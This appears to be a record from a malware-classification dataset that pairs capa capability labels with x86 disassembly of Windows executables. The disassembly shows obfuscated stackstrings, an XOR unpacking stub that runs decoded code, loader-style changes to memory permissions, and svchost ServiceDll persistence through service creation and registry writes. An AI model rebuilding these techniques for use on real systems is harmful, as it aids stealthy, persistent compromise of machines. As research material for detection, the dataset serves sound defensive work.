joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45db68
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
stc
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.0045d7e3
push eax
push esi
push dword [ebp + 8]
call fcn.0045d798
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0045d7e3
push eax
push esi
push dword [ebp + 8]
call fcn.0045d798
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl

Function at 0x45dbf5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
inc ebp
loopne 0x45dc6e

Function at 0x45de44
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x45de87
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x45de82
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x45de6c
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x45de74
cmp edx, ebx
jne 0x45dfc2
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x45de43
add eax, dword [eax + 4]
jmp 0x45de30
mov dword [ebp + 0xc], ebx
jmp 0x45de92

Function at 0x45de68
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x45de87
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x45de82
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x45de6c
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x45de74
cmp edx, ebx
jne 0x45dfc2
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x45de43
add eax, dword [eax + 4]
jmp 0x45de30
mov dword [ebp + 0xc], ebx
jmp 0x45de92

Function at 0x45de8c
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x45deaa
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x45dec8
movzx eax, ax
lea eax, [eax + eax*4]
Function at 0x45deb0
Capabilities:
Inspect section memory permissions

Disassembly:
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]

Function at 0x45ded4
Capabilities:
Inspect section memory permissions

Disassembly:
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x45df26
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x45df0d
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x45df16
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x45df20
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x45df02
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe fcn.0045de8c
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x45df73
dec eax
je 0x45df6a
sub eax, 3
je 0x45df61
mov dword [ebp - 4], 0x40
jmp 0x45df90
mov dword [ebp - 4], 4
jmp 0x45df76
mov dword [ebp - 4], 0x20
jmp 0x45df76
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x45dfc2
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x45df42
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.0045d7d3
inc esi
aad 0x99
fdiv st(7), st(0)
jne 0x45dfcd
push 1
push esi
call edi
mov eax, esi
jmp 0x45dfce
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
rcr byte [edi + 0x5e], 0x5b
pop edi
pop esi
pop ebx
leave
ret

Function at 0x45e0ad
Capabilities:
Contain obfuscated stackstrings

Disassembly:
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
test dword [eax - 4], eax
invalid
jmp dword [ecx]
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
add al, dh
test dword [esi - 4], eax
invalid
call dword [ebx]
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
invalid
invalid
dec edi
Function at 0x46d288
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0046cf05

Function at 0x4013f5
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esp
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
xor eax, eax
mov ax, word [esp + 2]
mov dword [0x404590], eax
xor eax, eax
mov edi, eax
mov dword [ebp - 0x4c], 0x30
mov eax, dword [ebp + 8]
call fcn.004013ed
mov dword [ebp - 0x48], 3
mov dword [ebp - 0x44], 0x401306
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], str.Jungo
mov dword [ebp - 0x20], eax
call fcn.004013ea
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
test eax, eax
je 0x4014d5
mov eax, 0x80000000
push edi
push dword [ebp - 0x38]
push edi
push edi
push eax
push eax
push eax
push eax
push 0
push str.180000
push str.Jungo
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 0
push eax
mov dword [0x404588], eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x404588]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push edi
push edi
push edi
lea edx, [ebp - 0x1c]
push edx
call esi
test eax, eax
je 0x4014d5
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
push ebx
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
lea eax, [ebp - 0x1c]
push eax
call edi
lea ecx, [ebp - 0x1c]
push ecx
call ebx
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call esi
test eax, eax
jne 0x4014ba
mov esp, ebp
pop ebp
ret

Function at 0x401f98
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x401fc1
mov al, byte [esi + 1]
inc esi
test al, al
je 0x401fb9
cmp al, 0x22
jne 0x401fad
cmp byte [esi], 0x22
jne 0x401fcb
inc esi
jmp 0x401fcb
cmp al, 0x20
jle 0x401fcb
inc esi
cmp byte [esi], 0x20
jg 0x401fc5
mov al, byte [esi]
test al, al
je 0x401fd5
cmp al, 0x20
jle 0x401fbe
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00402045
push 0x404004
push section..data
call fcn.0040202b
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x402005
movzx eax, word [ebp - 0x14]
jmp 0x402008
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.0040205d
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x403e59
pop dword [ebp - 0x2c]
mov eax, 0x403e59
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x41c653c3
add dword [ebp - 0x3c], 0xc8bf188
mov dword [ebp - 0x38], 0x40a46376
sub dword [ebp - 0x38], 0xe711731
mov dword [ebp - 0x34], 0x176c9ef7
add dword [ebp - 0x34], 0x34dfa537
mov dword [ebp - 0x30], 0x65c4915d
sub dword [ebp - 0x30], 0x65c4915d
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x10946c6d
add eax, 0xefac03f7
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x3da8cf90
sub dword [ebp - 0x3c], 0xc936663a
mov dword [ebp - 0x38], 0x4edbaa22
sub dword [ebp - 0x38], 0xd6f48ad
mov dword [ebp - 0x34], 0xd074ab0
add dword [ebp - 0x34], 0x566821bc
mov dword [ebp - 0x30], 0x328b5f5c
sub dword [ebp - 0x30], 0x328b5f5c
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x7ec10e15
sub eax, 0x7e809d6d
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x36be5
push 0
call eax
mov ecx, 0x2e365771
sub ecx, 0x2e360f75
mov edi, eax
mov edx, 0xe8a555e2
add edx, 0x179baa1e
add edx, dword [ebp - 0x2c]
mov esi, 0x9f5725e0
sub esi, 0xa9ac5b74
sub dword [ebp - 8], edi
mov ebx, dword [edx]
xor ebx, esi
sub dword [ebp - 0x14], esi
mov dword [edi], ebx
add edi, 0x8d588668
sub edi, 0x8d588664
add edx, 4
loop 0x403f76
add eax, 0x36a9b185
sub eax, 0x36a89ec2
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xfa853cfb
sub ecx, 0xfa453cfb
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x1000ba30
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x10018c40], eax
jne 0x1000ba4b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.Kfnc_p_Ihqdloi_Cf_yszb__Ghk
push str.Vqxlr_ErqucbvQj
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x10018c3c], eax
jne 0x1000ba84
pop ecx
ret
mov edx, dword [0x10018c40]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x10018c3c]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.BewdonmpRlqahtdek_Vuthmpp_Fwstrrcq_Tcl
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x1000bac0
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.Vqxlr_ErqucbvQj
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x1000bd00
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Vqxlr_ErqucbvQj
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000bc20
add esp, 8
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x1c]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x88]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.1000bc80
add esp, 0x14
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push connect
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._RqmbzdlDjn_p__ZiulTSovaooqc_jlr
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__ZiulTSovaooqc_jlr
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000bc20
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000bc80
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x1000c1d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Vqxlr_ErqucbvQj
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000c29c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._RqmbzdlDjn_p__ZiulTSovaooqc_jlr
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x1000c330
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000c453
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c448
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x1000c453
cmp si, 1
je 0x1000c453
push str.Vqxlr_ErqucbvQj
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000c438
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x1000c453
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000c3ed
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x1000c460
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000c1d0
test eax, eax
jne 0x1000c46e
call fcn.1000bd00
call fcn.1000c330
test eax, eax
jne 0x1000c47c
jmp fcn.1000bf00
ret
Function at 0x1000ca70
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebx
push esi
push edi
jne 0x1000cc08
push 0x37a
push str.Vqxlr_ErqucbvQj
call fcn.1000c6b0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x224]
add esp, 0xc
push 0x104
push 0x10018c50
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push str._RqmbzdlDjn_p__ZiulTSovaooqc_jlr
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push str._RqmbzdlDjn_p__ZiulTSovaooqc_jlr
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10018c50
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__ZiulTSovaooqc_jlr
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000cb4d
mov dword [0x10018afc], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10018aec], eax
call fcn.10006ca0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10006220
push str._RqmbzdlDjn_p__ZiulTSovaooqc_jlr
call fcn.1000b9a0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p__ZiulTSovaooqc_jlr
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x110]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push eax
call fcn.1000ba30
add esp, 4
call fcn.1000bd00
call fcn.1000bf00
push 0x1000
push str._RqmbzdlDjn_p__ZiulTSovaooqc_jlr
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._RqmbzdlDjn_p__ZiulTSovaooqc_jlr
push 0x10018c50
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._RqmbzdlDjn_p__ZiulTSovaooqc_jlr
call fcn.1000c480
add esp, 4
call fcn.1000bb80
call fcn.1000bac0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
Function at 0x407860
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x427408]
jne 0x40786a
repz ret
jmp fcn.00415990
Function at 0x41cae0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x862920], 0x37
jne 0x41cb24
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.Bim_kigasajalumi_tazameyumayi_hukediluz_colasuvege
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.Halozoyike_wovazibowi_yelik
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push str.Gejifovuli_yumicuzic_nehocewinep
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov eax, dword [0x85a36c]
add eax, dword [ebp + 8]
mov ecx, dword [0x862924]
add ecx, dword [ebp + 8]
mov dl, byte [ecx + 0x12336]
mov byte [eax], dl
mov esp, ebp
pop ebp
ret 4